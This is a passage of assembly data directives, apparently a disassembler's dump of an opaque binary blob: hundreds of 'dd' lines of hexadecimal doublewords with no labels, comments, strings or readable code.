dd 411400C0h, 101FCF87h, 3E396FE4h, 4E7800F1h, 3223AF1Fh
dd 7F3809D2h, 0FB0F5CC8h, 0CDFD1680h, 35181F36h, 0A071E7D8h
dd 0DC010631h, 496BA96Ah, 0B5FDCC00h, 5D0BADCEh, 2481242Bh
dd 6E4C00A6h, 84171471h, 0AD6B8D00h, 0E4A988D3h, 93E93F53h
dd 0F6547680h, 492CC40h, 0DFBBCA06h, 5937A6h, 3DCB8172h
dd 2CA4B7DDh, 5FB0E81Dh, 3A739E00h, 60765EBBh, 7E32996Ah
dd 3B03C2EFh, 47333963h, 6F1800F0h, 0DB08B91h, 0C90CF584h
dd 82046E6h, 585C7905h, 0B00E766Fh, 8760F434h, 0DB6E0295h
dd 67363900h, 9C08DD48h, 245B1BE5h, 60105066h, 0D1C0445Dh
dd 85840FB0h, 21BD6F8Ch, 0DC00F9DCh, 777857A9h, 0D803221Fh
dd 7F7EA3BCh, 0FB701599h, 3400D8D1h, 0CC4D7CAAh, 49F854F4h
dd 6FCEF102h, 40509F09h, 7B948208h, 26EE0E8h, 0DBF6A90h
dd 0D6006FE7h, 0E8863610h, 630F0076h, 66982683h, 20D471E0h
dd 6236015Dh, 8CE8BC2Ch, 0A8338DD4h, 1B3F184h, 43D4DBA8h
dd 402FC174h, 0AF361CC8h, 0D0183C0Fh, 400912C9h, 918015FBh
dd 34D880CDh, 0C13538h, 5FEC8349h, 656E03C3h, 541B5158h
dd 0DEF6E774h, 0CE1F8890h, 6BC1EF17h, 0F0B6C82h, 0A8408844h
dd 0CFED3F1h, 0B95B63A7h, 98B894C5h, 467AAAEFh, 3B02EC1Fh
dd 22313998h, 0F9C7CF4h, 0BC62CBB4h, 0AB1FFED8h, 0EC587B60h
dd 0DFB7E931h, 207F0682h, 68C8186Ch, 701FC711h, 3B32EF7Bh
dd 21C36086h, 4AA4872Bh, 76286400h, 0D33261C8h, 648D39Fh
dd 58D7AC22h, 3CBFCA03h, 901B4E0Dh, 181D2ED0h, 885D5E8Eh
dd 0E800C594h, 429A5A4Ch, 0FA76AE2Ch, 0D4100DEh, 9F8278B9h
dd 5C000216h, 0DF86B64Ch, 5EAA5C1h, 14E81AA9h, 1D77C0BFh
dd 0C800E936h, 7185A710h, 3BFDA181h, 798004F8h, 114ACDB3h
dd 27002488h, 0E197CA3Ah, 9F63B5h, 0D2EA153h, 61F2CEC6h
dd 2621DA00h, 92496A4Eh, 77E7591h, 9BF01BA7h, 0DEA927E8h
dd 0DDB09EA0h, 0D300ABAFh, 5FB4F18Ah, 4BE4D9h, 72390EE1h
dd 95C688DFh, 0EEEF8200h, 8C38B975h, 1F3FE6AAh, 40FB2171h
dd 0A301518Eh, 5A73AC53h, 5BF4500h, 7E848092h, 0F19D0071h
dd 20A82F79h, 0D5003123h, 5A4FCEA5h, 5B124h, 0F95CB91Dh
dd 0F7E1566Ah, 0C05F0606h, 0C8F361h, 0C3C43757h, 4745F272h
dd 0AE065794h, 1F20E664h, 790CD8Ah, 835CA758h, 9AD05388h
dd 860C7ECEh, 60D8E0BFh, 4DDF07E5h, 676957E1h, 284C40AAh
dd 0E4079EABh, 0E3C6020Bh, 6F075B70h, 0ACF6FEh, 54D7A1B1h
dd 89461E81h, 90367B04h, 0B786A59Bh, 4BF5210h, 0F43088BCh
dd 626310F5h, 3B53E69Eh, 0B3CCA38Ch, 88819F03h, 0F99B407Dh
dd 89F8F5B3h, 68629AE2h, 21399F28h, 7E5C06h, 41405DDh
dd 68818954h, 37FB0438h, 0C8ED6F47h, 1F28D114h, 52C2276Ah
dd 61F78Ch, 9DFEA23Ah, 80638A38h, 0CD594376h, 72F627Eh
dd 16A65B96h, 80834493h, 5CE46B39h, 7E05E307h, 74504D54h
dd 1F38881Ah, 0F64230Ch, 0BA002BC0h, 0EA628391h, 0C1D1F7A0h
dd 10C4240Fh, 0AA1B87BDh, 0E81D1AF3h, 265CD302h, 395FDF82h
dd 1F57F880h, 54328C11h, 58F4F500h, 6684BF53h, 0E0DC00BBh
dd 31106495h, 9400CE57h, 8D4C090Dh, 0A083A9h, 0B86AB282h
dd 8121FB91h, 8620DF00h, 5EE49650h, 0A2020053h, 66B98872h
dd 42241039h, 1E00E137h, 0D398D989h, 15140373h, 305B618Ch
dd 72B19390h, 0EA54B20Eh, 0F22B4085h, 12FE43Fh, 29C77A5Fh
dd 40A86252h, 6F4DCF0h, 8036ED3Eh, 51460141h, 48829A8Eh
dd 0EB004D22h, 9299B2CAh, 0ED042B23h, 690FCB86h, 0FC8B0FBBh
dd 0DABA8580h, 1F0E909Ah, 32BC6CF4h, 1C621800h, 7A7D60FFh
dd 527100BFh, 58AF217Fh, 47F42A0Ah, 26FF0207h, 6A552870h
dd 7C05A800h, 3FC53Bh, 62EA2E2Dh, 61AA1CE2h, 747AB800h
dd 2A3646B2h, 217B16A2h, 9A5C0001h, 0BC47BE2Fh, 3F088A05h
dd 0BD80C888h, 118507h, 0D91903AEh, 4820307Fh, 0F804FA04h
dd 708088FDh, 7B5628F5h, 947B5Dh, 0AA84458Bh, 0BE35C1AEh
dd 96241200h, 0B2130B9Dh, 0A188000Fh, 43BD94Dh, 4100B5D5h
dd 34C2A4F8h, 3B77273h, 0E0A842A9h, 93807A9Eh, 4E00015Ch
dd 6776A73Fh, 33B3DB9h, 858B562Ah, 52E2540Eh, 0B4CA88C0h
dd 0BC59020Eh, 6C366021h, 5E103h, 0B3DFADBFh, 151A8E56h
dd 927AB707h, 3F406D30h, 0B1AE62h, 5E3BC166h, 1020A05Fh
dd 14607400h, 0E6947F85h, 0DB9E0086h, 0FD50981Fh, 4E00FB79h
dd 45254F09h, 136A1558h, 506A823h, 80538A52h, 32CC93F7h
dd 0E928951Fh, 0C2C07C03h, 8738B057h, 274600F4h, 1C4DA9B8h
dd 0A8008D6Ah, 354F6C83h, 637FC5h, 2D9D725Fh, 62D40E57h
dd 7A07ED7Fh, 1773DCFCh, 15F02557h, 772FF0h, 0F583A1F4h
dd 0F2E1084Dh, 9A6D2600h, 7595EDB8h, 0BDE41DDAh, 30E681A0h
dd 0DCEE3494h, 26007154h, 0F4ED33Dh, 0C3BA62h, 0B6A90919h
dd 1F33C061h, 0D09E5500h, 350B6076h, 0EEFA1D05h, 65ADC02Ch
dd 0ABC446B7h, 6BB2C107h, 3D4063D3h, 132519Fh, 1369FF5Fh
dd 7068FD79h, 0FE0E1816h, 29B66A55h, 0DF9806Bh, 0E2132A7Bh
dd 82B80F1Bh, 0ABA7DF0Eh
dd 2C0DE95h, 4B45BF76h, 0FF23F207h, 0BC40642Ch, 0F8FC6Dh
dd 0E319BD4Dh, 0E26F7388h, 11E9B600h, 0EB90A3Ah, 0A860006Dh
dd 1EA9548Fh, 0B600C870h, 2A3872D0h, 34BE19E7h, 0C780F253h
dd 9DE5078h, 1D012FEBh, 457FCA77h, 9EF8DD97h, 67343h, 83EF0BCEh
dd 0F4A005A5h, 427E1100h, 0BD4A46D9h, 0F16101F0h, 0E5102E49h
dd 0DBEF062h, 0D5E1D80Fh, 1AEE40ACh, 62928h, 79182BC2h
dd 3F05651Fh, 0A784DA00h, 0B03599FDh, 3080012Fh, 0ACD99E34h
dd 0A1A9F089h, 5B78DA2Ch, 98CBBE00h, 3E871AD0h, 0A605552Bh
dd 0B44D07h, 25C49CBFh, 0C100A89Fh, 0CA43E783h, 0D31B93h
dd 0F6AD74BEh, 84233F13h, 0F3DD7700h, 7B0E5DC8h, 880C0015h
dd 0C4EC2DADh, 8DB05975h, 0F4BC2400h, 0AC935649h, 0A20707B4h
dd 7EB81568h, 437479A0h, 0EA0FEE64h, 60E09023h, 306A7A27h
dd 6EA00072h, 0B3AD9850h, 0EB038D76h, 0F3BF493h, 20DEA890h
dd 9D1E1C38h, 0ADF780E2h, 811817D0h, 5500B873h, 124D597Eh
dd 0C4F6C0h, 0B410A90h, 287D8C2Eh, 4B000C7Ah, 8473271Bh
dd 336B30h, 0BDAA6620h, 4DF4A121h, 0F95D8800h, 9B8FA90Eh
dd 0FF0A007Fh, 2F77B563h, 6600C72Dh, 4F376ED9h, 0A7EFB7h
dd 941C54EBh, 0FE0C085Dh, 43264E00h, 16B473D0h, 0C01E3DCAh
dd 0B50B4B80h, 77BB7F6Ah, 3A634F03h, 0F8150FAFh, 3C6548Eh
dd 6DF8730Bh, 0C2005DCFh, 334CE3D3h, 1D8F439Bh, 400F4645h
dd 0F1D2E840h, 844CF46Ah, 0BA3F781Dh, 0D3758023h, 562C0EB1h
dd 1C3900DFh, 3C92CA19h, 1B03829Fh, 88C603B3h, 0AB0DB811h
dd 0DDF400CFh, 8284839h, 6607DB5Bh, 77ACAF78h, 0C36C3A92h
dd 0CD200098h, 0FCC6255Dh, 9E001FABh, 0CF52E338h, 0F89FEBB6h
dd 44BF092Dh, 6A8095A8h, 4D456B0Dh, 0E5BAEC00h, 879ABE6Ch
dd 9C2100C6h, 0CF018CBh, 0D1B837A9h, 74D0B880h, 9116A300h
dd 950F43A7h, 578B0098h, 0D4FE797Ah, 0E100526Bh, 901C9340h
dd 9153AEh, 44275CC3h, 528E460Bh, 80865401h, 0AB7A4957h
dd 8158089Fh, 59A74E2Dh, 0FE28305Fh, 9D4A8900h, 204AE1Bh
dd 0F7875E5h, 77D470A9h, 68ED0320h, 0A0E21762h, 5BC50C1Eh
dd 0CE5C81C0h, 2DA06A1h, 9F1BFEFCh, 39401DB8h, 3900E4D7h
dd 468FF085h, 3CBF68h, 0EEC270ACh, 6D3FDC16h, 2FD06C00h
dd 8BD42565h, 3D8200A1h, 0D71B3445h, 0F1005A23h, 59E5F50Ah
dd 16806Bh, 0E12A516Dh, 7030B36Ch, 0D986507h, 5C77288Ch
dd 9DFC285Dh, 0FFF30377h, 0EDEEBA91h, 83E993E0h, 0FA6C0300h
dd 16C7E23Ah, 1DC506BDh, 38DA1BDFh, 8F663500h, 717B736Fh
dd 0A6E80088h, 1ECC84C9h, 48268B3Fh, 6E067EFCh, 58B9AAh
dd 0BD1DA6D2h, 11B625BAh, 0CB36A900h, 0A502C472h, 3CDBEC99h
dd 0BBFEAFEh, 68E67098h, 1F00A6A2h, 47017884h, 3A0E94D4h
dd 0E9E0ABAFh, 844FCCE7h, 0D5A5E8EBh, 0A8076D07h, 7031DCECh
dd 65FCE690h, 8E1500A4h, 0FCA7A030h, 6602BAA3h, 294A0A6Eh
dd 750A408Dh, 5CF1E21Ch, 9500CAFDh, 0F003D7B6h, 4303D577h
dd 9F321408h, 6FE7F8EFh, 8CA91C31h, 87E840ABh, 52FCC4BFh
dd 0B400D7E2h, 65C51DBh, 9F49FB03h, 5800DCD0h, 0DE52DF2Fh
dd 66FFE1h, 0FE04443Fh, 0F9362C6h, 95B28D1Ch, 4A97ED40h
dd 0B68F290h, 26C67643h, 2D3B9400h, 0D200E7EFh, 0A4CB0B8Eh
dd 6D0918h, 0CF10D1DBh, 0EFE7C2Eh, 0FBF95C00h, 3DEEB1A7h
dd 7B9900CEh, 0C0345077h, 8300212Dh, 434D01DCh, 0CA9CC5h
dd 64B8D95Eh, 32F3D6D2h, 0FFF60400h, 59A9ADABh, 7C8E0042h
dd 192C979Ch, 65EEE908h, 5400A579h, 46CCFD26h, 0FECA17E6h
dd 0ECE7015h, 0B2777205h, 0EFFDBDE1h, 0ADDBDC5Eh, 1BF8397Bh
dd 689CBF0Bh, 45568Eh, 6991CE10h, 2B301A48h, 92CC86EEh
dd 55F60071h, 9AA0647Bh, 667EEF5Bh, 674118C0h, 0A43D90h
dd 18347A2Ch, 0C35CD846h, 6B69D901h, 0DDC8F1FDh, 0A6B2ACh
dd 0D62B67E2h, 0EF00BEE9h, 25B4EED2h, 1782EA7Dh, 62D878h
dd 38933346h, 37009843h, 0C37B7F61h, 0C54A15Dh, 6660AA20h
dd 4B18C9BAh, 9AA8216Fh, 2B6B0001h, 97A3B65Eh, 0CE00AEBEh
dd 91B067C1h, 2E15FFA0h, 3A15F7Dh, 14A4850Fh, 1D39B4D0h
dd 33EFE400h, 0E9C9D2F8h, 0F004249Ah, 35610024h, 0B3341D13h
dd 0FA268638h, 794C9D00h, 2A70A2A6h, 4416008Dh, 0C5B898ACh
dd 5F075BB7h, 0E2BF9062h, 0F48DF5A0h, 0F64D00A4h, 45F939C9h
dd 6F0086CCh, 1FDB7461h, 90175902h, 58C6015Eh, 9669C5FCh
dd 987080A2h, 8E92F111h, 77CC1DDEh, 0E0663Ah, 86B93C70h
dd 1200B0E0h, 1EA87E63h, 247695DFh, 1E04F4BAh, 6A98F9F8h
dd 38D1A83Bh, 96D23303h, 0D9C54DE0h, 289EF1EAh, 0C4884011h
dd 2C82FA15h, 0CEBF0803h, 0A0DCD1E1h, 1CD9F8C9h, 80A4AF66h
dd 0CBAC2C48h, 7624F413h, 7500BCEDh, 0F117C0EBh, 75077E67h
dd 2D5D0324h, 6A36C695h, 35557AA0h, 4100C9F6h, 5FDB9208h
dd 1FE8CAh, 0D87BB42Ah, 2247B28Fh, 0FC7C640Eh, 5302600Ah
dd 0E4D51Fh, 7A1CD6A6h, 366BF9B9h, 0AD2BF401h, 0CCB28334h
dd 0B82632E0h, 0D39B0117h, 2A468501h, 728EE433h, 95D11909h
dd 456F80C9h, 1ED99B35h, 0CE8B8759h, 0F1805474h, 0A11F0772h
dd 6EE3CD09h, 5009FDh, 9883930h, 6B91035Bh, 653D8A50h
dd 0BBF914C8h, 87743B00h, 709B99F1h, 0A2813A3Eh, 0A6D06D80h
dd 98324B09h, 10FB6B07h, 0BFD090F1h, 1D6DF13h, 73431EEDh
dd 30927026h, 0B10CBE65h, 922E6036h, 0F66F180Ah, 44C9107Dh
dd 0EC6B370Eh, 0DB1940F7h, 0E2111BF2h, 401000C1h, 4B9ED891h
dd 0B0C2ED52h, 0C04909B6h, 0F2D7F8F5h, 895F09F7h, 0BA0FEFFCh
dd 10847807h, 7F056020h, 0AC820200h, 46ADB6FEh, 12BB017Bh
dd 8CF51D4Eh, 0A968E8A7h, 30E7E800h, 5A7E40A6h, 0F49507CBh
dd 50FF3E63h, 3801C181h, 0CD0A3100h, 0EFC26F6Dh, 0D9C0EB1h
dd 0D165849Eh, 958E8074h, 0D60050A0h, 36B04BE3h, 4D7902Dh
dd 0E6660CC6h, 0C00080A7h, 771E550Fh, 0FAC24Bh, 36312E56h
dd 859D59h, 0F62158AAh, 50E7DFAh, 260ECD70h, 20684192h
dd 0E7486EFCh, 0C61B076Bh, 300122A2h, 9A776336h, 0ACA50B07h
dd 5330E188h, 70C2F6Fh, 32D67F09h, 90BEE744h, 8C5EF8EAh
dd 603A087Ch, 27E58EBDh, 0D9776284h, 0DED4906Fh, 23DC8078h
dd 1209D700h, 6542AEC7h, 28147AFFh, 0DC6A41h, 0DECE881Ah
dd 0C6F8A007h, 0F29B6B00h, 1FB0D1E4h, 0F11B0EC9h, 24C0FE65h
dd 605695DDh, 0E063101Eh, 2B368FFCh, 262860EDh, 0B5C97Dh
dd 0EC1AD7E5h, 0FB68A19Ah, 6AF0B100h, 1F84D6A2h, 7FE3007Ch
dd 61675010h, 0D21B2ED5h, 0C019BC7Dh, 0E69DEDC4h, 20210218h
dd 9BA5BE62h, 0C9F0E8C0h, 0EEA7CC00h, 0F8811396h, 6F670723h
dd 955830DDh, 4EAC053Dh, 1FBE0F6Eh, 9E41CE7h, 8376C980h
dd 0E31F7F0Ch, 670028D5h, 0D945CC5Eh, 346107C5h, 11AA1306h
dd 8F683787h, 606A3148h, 801CAE2Fh, 0C179F7h, 0F5AD3A1h
dd 0D5390DE3h, 0D71F1800h, 370599F5h, 311400ACh, 834BC5F0h
dd 0E100509Eh, 3285C46Bh, 940F60h, 67B14F6Dh, 0EC20E05Ch
dd 0AA7CED00h, 0E46F9629h, 3EDC03A3h, 0D72E6BC5h, 9F126CF8h
dd 3A55D605h, 0F000AECCh, 0E167A2DDh, 0DAD8001Ah, 8CC5E383h
dd 3D2EC732h, 7C122020h, 0B1C89400h, 7BD0EFB5h, 12E91FF5h
dd 8256406Ch, 41E663C9h, 207DFBA0h, 1B00D4B0h, 6204D954h
dd 0C29A6Fh
dd 14EDFEFCh, 6B573D7Ch, 5CE2DE00h, 0CFF1BC16h, 1B6A3155h
dd 40AB2D91h, 38C83090h, 0A14896FCh, 0DE9F0BDBh, 9320000Ch
dd 0F6F78A7h, 0A5DAF36Eh, 0EF2949E0h, 9AF826FAh, 0A8D11E00h
dd 3266B112h, 5B3909BBh, 0DC1007FFh, 0FD13636Ah, 400AA55h
dd 716E51D1h, 26830723h, 3037C119h, 275D6A88h, 74CEB512h
dd 34012401h, 0CD47C880h, 0F3E09AD0h, 987116h, 9F822792h
dd 51CAA4E8h, 0E1392116h, 0D649E020h, 0A2905Fh, 8A7AB3CBh
dd 6D536504h, 80141504h, 4C01E36h, 5E9585h, 0C07EA53Ch
dd 9B97678Eh, 46891600h, 3D40631Ah, 23B005Ah, 60ACBA9Ah
dd 280361FEh, 0AB4B667Eh, 8030B3B7h, 3A1EF3BDh, 0D303D9CDh
dd 0EEA45F2Fh, 5EA83B93h, 184A6C93h, 0D6C92003h, 1F729E1Eh
dd 80D00665h, 9C38AD58h, 5D07A449h, 9FCCB944h, 348094B4h
dd 16EAC0h, 49C25E1Ch, 902BC5BEh, 0CFAEA000h, 73A31865h
dd 83430717h, 20B41332h, 357B44B1h, 7F3C0471h, 0F7AC00B5h
dd 884DFAFEh, 4542018Eh, 0E774D06Ah, 71D8FC69h, 49D4FB00h
dd 0B78FC8B6h, 40A50055h, 2AEF7899h, 0AB03B825h, 0E805C9E9h
dd 0DF29D044h, 0C5A8006Bh, 0EDFF1840h, 930EE073h, 0C0E9C0D0h
dd 506DC6FCh, 38CD1E53h, 822F0F72h, 798C1C00h, 0A7002E90h
dd 41C8D2B3h, 54091474h, 1C0A9091h, 7B8F66E8h, 23CFAF87h
dd 0C34880B8h, 80007235h, 0DF8460D6h, 0A0E742C6h, 7F77E3h
dd 0F096E25Bh, 0E00ACF46h, 7978893Dh, 4DC28500h, 52081FDAh
dd 3F9769Ah, 9397B8F1h, 95A8C835h, 8D733DA1h, 2ECDEE3Eh
dd 0E20025F5h, 8E873FE0h, 131B07C6h, 80E82953h, 0FEB0CD89h
dd 4F11FB00h, 0F2A6A750h, 31AE00D5h, 0E746EEB8h, 0D4005DB9h
dd 5A530B5h, 8D593Ah, 0EA8536DBh, 0F76447FAh, 92F3D409h
dd 385383BBh, 0E2EBC81Fh, 415B007Dh, 6A0C8FC9h, 0C200CDFAh
dd 1FC72752h, 38BC8A5Eh, 1DB0B777h, 0CA59E7AAh, 89C2EA01h
dd 0BC5CD153h, 763DA0DCh, 482D58D9h, 662011h, 0A5D5E259h
dd 508E34h, 0ADFB55EFh, 6720DD76h, 155EB500h, 0F0F6B205h
dd 5414007Fh, 784369F4h, 6E01AB8Ah, 0D41C4595h, 0C0702ACEh
dd 0DC9184h, 48A38966h, 0DD00A869h, 39656304h, 0ADA56Bh
dd 0D4EC3E4Ch, 917926E3h, 0AE007B78h, 0A75B439Ch, 0F264D98Ah
dd 16F400C8h, 72ACC04Fh, 60000135h, 2A9D3DC9h, 76DBD4h
dd 0A5959E59h, 0A16FA4B5h, 784B030Eh, 5E4A63A2h, 0F3C0F449h
dd 3B409042h, 0FF802E34h, 5B268F19h, 1202145Eh, 0A9F83829h
dd 0C88E2Dh, 311EB164h, 0FAE401CBh, 0F68B62B2h, 6AE8F049h
dd 2A9FE007h, 0C2005204h, 292BC29h, 33FD4381h, 0EC40594Bh
dd 0B61D34C5h, 2FC0B58Eh, 523124EFh, 0B3F100F4h, 553EC104h
dd 9600AAB1h, 0E3381074h, 0A58071h, 0F9689002h, 0F3C08BD9h
dd 0BAA448h, 0B87DBE44h, 1C91C905h, 4045FBDAh, 34C154B7h
dd 460F5FF3h, 20139E4Dh, 64D78301h, 0F8E0136h, 559F3CA2h
dd 6FEE43CDh, 3B79FFC0h, 7A257F00h, 8C72BFF5h, 0B985006Ch
dd 5612D03Eh, 0DB2EDDE9h, 9803665Ah, 80FE11A9h, 0E52BA39h
dd 8780D6DEh, 0ECF335A1h, 9D72C029h, 88D220E0h, 5B094001h
dd 4570AA8Bh, 81F100CFh, 95DFC2F0h, 0A900C5D7h, 3D45E77Fh
dd 1CA48C8h, 504E3B05h, 405C9E7Ah, 0A2081C9Ch, 0BB33D71Fh
dd 199F690Ch, 785850B6h, 0E6120042h, 0B315E8D3h, 59EAC9B9h
dd 2A24FD00h, 0A153D57Ch, 8EFB3B96h, 0C699A880h, 0F0146A27h
dd 0AD726601h, 605704F2h, 0BE8580D2h, 0DC621Ch, 0EE840107h
dd 69E21983h, 0CEFC8200h, 0A82874AAh, 5E5D0CEFh, 0B091A141h
dd 29636C06h, 75A78FEh, 0BE7BDA26h, 0CC99B08Bh, 51508947h
dd 967F5F94h, 0BCED9500h, 37882741h, 460809FBh, 857C2E93h
dd 4496DF00h, 60683BC5h, 0EEF36041h, 0E500F15Ah, 0B543505Fh
dd 2E0859BCh, 12066C44h, 0E6344035h, 86C3EB31h, 38C6E330h
dd 781015h, 0E7E0FB22h, 0B29B25B1h, 8DC16000h, 3EC194Dh
dd 5B34283Eh, 7A1D1CB0h, 101404DBh, 17D140C6h, 3CA6A072h
dd 70804898h, 0E26DA899h, 0B0FE44BBh, 3CDE8724h, 77355402h
dd 64B280EFh, 724E2A04h, 0EBAB3E36h, 0C04D459Ch, 47834C5Eh
dd 3373C911h, 58A0B600h, 7C59D9D8h, 44256D4h, 5C5502A1h
dd 0FA5CB10Ch, 0FF044350h, 0C2D70AC0h, 6A7407DDh, 0E418C963h
dd 0A9DB9Dh, 56143F20h, 863ED342h, 66707B07h, 471F2E25h
dd 0C890BF60h, 0E865EC7Fh, 717F81h, 4B3ADEB9h, 0BE20AFF1h
dd 0CD95B607h, 15A06D9Dh, 0FDA881h, 0EC864F08h, 0B15EBDB7h
dd 3978B267h, 0B83A8223h, 0E00D9124h, 0A842006Ah, 0BEF1E290h
dd 6B304907h, 55FC20A9h, 345E14BBh, 93E120A8h, 151853h
dd 0FDA383BBh, 7D46FAB4h, 84FC3C28h, 975A8D07h, 24C0CBD1h
dd 0E2FFD2BBh, 0D938C639h, 0A17B30FEh, 9519DE00h, 0BF819C1Ch
dd 1A9F05Ah, 29C9C574h, 8C25F42Ah, 59211950h, 59E6074Eh
dd 0EE83F39Bh, 0A8466AE3h, 50879381h, 71ABAFC0h, 7B5B1404h
dd 1FB09Bh, 35778AAh, 0CC008E45h, 0A790A07Dh, 30DD24A9h
dd 0D3901B4Ah, 0FF00993Ch, 376F78C2h, 1CD647h, 88BAB8A6h
dd 0E0D1ECEBh, 0D318500h, 59192E72h, 78BE3D2Fh, 0A9C11281h
dd 3163A7D8h, 121ECBF1h, 2A4A4C93h, 8E4034B8h, 1E9C281h
dd 3599943Dh, 0E42458D3h, 4C7D85B3h, 4E656A00h, 1620259Bh
dd 86A801BBh, 9A46F28Eh, 9084503Fh, 5805259Fh, 16A8F8D4h
dd 3F00D85Fh, 6492749Bh, 0C0E721Bh, 56E92CEEh, 5492B6A8h
dd 423EDEF0h, 226F877Ch, 0E387E1EEh, 0E503687Ah, 0B0A086h
dd 7ED5F331h, 99F2F423h, 405A2D00h, 174AA5E0h, 0EFEC58h
dd 0FD459AABh, 829C63Fh, 4B2C0676h, 990FB8DAh, 68C0BF67h
dd 71C4C7CCh, 1639183Ah, 87A7C92Fh, 0B641A309h, 13120066h
dd 1F4EBC0Dh, 264731Bh, 37364CF2h, 40D14441h, 0B1E227A4h
dd 0E4402E65h, 7E4E5440h, 1C855A1Ch, 0A641D47h, 406CE159h
dd 0F009847Fh, 91EBF705h, 5C42B68Fh, 48AB3006h, 53C164h
dd 0F379E2DDh, 0F8258428h, 0A828077Ch, 0C430C489h, 596F81AFh
dd 24F90069h, 55CE2916h, 96042B91h, 9FBC35CAh, 5A59A080h
dd 36B8C4A9h, 350342A5h, 79DF2253h, 743B0C48h, 0B2B04501h
dd 0AE54997Ah, 0C57DD0h, 0ADBA6EC7h, 160C4368h, 6DC63406h
dd 0B1D95Dh, 703DA7A1h, 622CF5Eh, 0E17D78E6h, 6C816800h
dd 0ED98C109h, 0E25F0CFEh, 0B3794995h, 4048E600h, 0DA8921ABh
dd 98BE2EB4h, 0C0171F9Eh, 845CDB87h, 7B24452Bh, 9042EC7Fh
dd 0F8894A3h, 834D9AE9h, 0BCBD9423h, 80245FC1h, 58ABC331h
dd 26491C11h, 3A4EE003h, 8551E80h, 2D88B787h, 0DD843C91h
dd 0C0EB2805h, 51AFFF71h, 0C142D803h, 15414903h, 987CD2B9h
dd 6F25A203h, 0E0A7E306h, 0B2824835h, 0CC4B9600h, 0EF22BB5Eh
dd 0F453011Dh, 4F7929C8h, 28C050ACh, 5F00548Eh, 0C5C1391Eh
dd 3E82ED08h, 0CA01067Fh, 0BF4C9019h, 277C3034h, 0A60E403Bh
dd 0F0C044FAh, 2946CB02h, 40888583h, 71A07CD0h, 5CFC5050h
dd 13912100h, 0A3B4BDDCh, 0BCC94C2Dh, 0A0B3EC50h, 2A504694h
dd 0CB0852Fh, 0DC8C20D4h, 6121220h, 0DC4252AAh, 48B37F46h
dd 706811F4h, 10092D9h, 46877C8Ch, 0F0696EB1h, 0A60E654Fh
dd 6E039EC8h, 498D812Ch, 9C22A239h, 3E1D9D11h, 54CD00FEh
dd 72BBFA8h, 0EA7301C3h, 0F3BBC502h, 0AC29C057h, 7B67F113h
dd 3990F030h, 0BF512694h
dd 5EDD0240h, 48814020h, 0C52A1AE9h, 0DC118CFFh, 0F4B9C8h
dd 0EAC5897Dh, 28E1D6D8h, 15215B00h, 1BB426E9h, 1AA70248h
dd 0C1EBA4A9h, 0C7EAD460h, 8878B840h, 0F00F066h, 5282BFE2h
dd 0FD4B30h, 86D7CF9Eh, 503923E1h, 24A1722Ch, 0F4004824h
dd 0F530BE1Bh, 7AAC2649h, 52805E6h, 0F9B42125h, 10A1E106h
dd 1C0987D0h, 4CAB3CDDh, 78193EFFh, 81569700h, 0DC9398F2h
dd 7B4F7CB7h, 96DB010Bh, 33037869h, 242C3682h, 7F709885h
dd 0B25DE6A0h, 0FDA12040h, 0E51C8307h, 12A77DB8h, 480CD942h
dd 6132033Ch, 0E922A18Fh, 0E7EE8C8h, 793A8CA0h, 0CC3D7C2Ah
dd 0A483BE18h, 0B9454651h, 309004Ch, 29315A4Ah, 0CC88AAB0h
dd 0E4A08D89h, 0C783D191h, 4FF52B60h, 0D6450E12h, 40523403h
dd 0BE211C14h, 6CB09E88h, 68D3E12Ch, 48F57C40h, 0B3C93F24h
dd 0E0AC9007h, 7E666050h, 60020FD9h, 2DC75851h, 8354E277h
dd 0F69D18h, 93DB9159h, 0BF743F0Dh, 674C011Ch, 95510FFEh
dd 4ED96715h, 0A0D57991h, 6AADD980h, 2B5C7CABh, 27E2739h
dd 7DA695ACh, 58F86CDCh, 0B302CC74h, 0A743F9E1h, 8700A444h
dd 0A3267DAFh, 0A08ED154h, 980285D8h, 7C0618ACh, 19C1293Ah
dd 4BAC3754h, 63EECD1Fh, 1D7117C4h, 7F3DB7C0h, 7069598Fh
dd 0B0909089h, 0EA0954C8h, 14AD614h, 9523BEFDh, 2C438AE8h
dd 10E88D61h, 28209E9Eh, 4D90FECBh, 74828CE2h, 44351Eh
dd 0EE05967Bh, 5EAD643Eh, 59BFC88h, 0BBBA5FF0h, 6C89844h
dd 9C399668h, 10A38209h, 17265CA8h, 496787D6h, 4413E098h
dd 0F7EC5590h, 0B15C5605h, 6480C115h, 93B8DDEAh, 17DB0058h
dd 712BB364h, 4876F726h, 85612960h, 0AA0F60DBh, 9E220A2Ah
dd 0E9A2890Ah, 53056C2Bh, 848B3B03h, 0EF523900h, 738A6DF4h
dd 4FA6921Dh, 620B2F40h, 94D9EDCBh, 7C51800Ch, 50F2833Ch
dd 0CCCA2A00h, 65664A88h, 0C83E003Ah, 353D099Bh, 98508F38h
dd 1345DDF4h, 60F8D4A6h, 99BA2D10h, 3CF06026h, 0B2104651h
dd 210FDC91h, 205F9CD4h, 4FEA619Dh, 0A77C0EF0h, 0AE063199h
dd 0B4A1D129h, 86031009h, 5AC4A8FDh, 28E005D6h, 0CCE1CA2Eh
dd 781B5E60h, 1EB8CCC0h, 0F267029Ch, 0E0A03780h, 9556BE71h
dd 6BE6D8F8h, 0D3F7C400h, 30ECE955h, 329E24A7h, 8814E51Ch
dd 0C2008C58h, 52B24F69h, 0D2D133h, 2F895AA0h, 1E41EF08h
dd 841C6849h, 5CCDA9FCh, 544034C1h, 0B2B5D95Ah, 0E2620224h
dd 9A56CA04h, 4E2B1EE0h, 8CAEDF1Dh, 0D5C5D800h, 132128EAh
dd 42136E6Dh, 0F97B661Ch, 2F846C68h, 1687960Ch, 0DFA92Ch
dd 20C1E7E2h, 4E9EDA61h, 81583007h, 0F330E9E1h, 1825801Dh
dd 98F8D0A8h, 0DF8828B7h, 0BCD4A87Fh, 497C1F21h, 567A429Ch
dd 0D85002A4h, 0AA972C1Ch, 423C690Eh, 402F995Bh, 74302116h
dd 0F05C00BAh, 750186B7h, 0C21CBC08h, 1C59A3E2h, 35E45B34h
dd 0FFD83B13h, 0C7DF409Dh, 1050A9FEh, 601C2F1h, 9D590A60h
dd 1EC45184h, 3E2E5F89h, 940219FCh, 70E62103h, 6D1E258Eh
dd 7158C6F8h, 3298158h, 17DD50A8h, 3800531Ah, 1C9E76EEh
dd 645E59h, 69C60323h, 0EADA84ACh, 0F19ED01h, 5B6C0AD8h
dd 9C936980h, 87CCADB9h, 40B910Ch, 0E1C06Eh, 2BD5708h
dd 0E3CBB748h, 0D8387CF0h, 2EC4004Ah, 386199DBh, 9F7CA08Eh
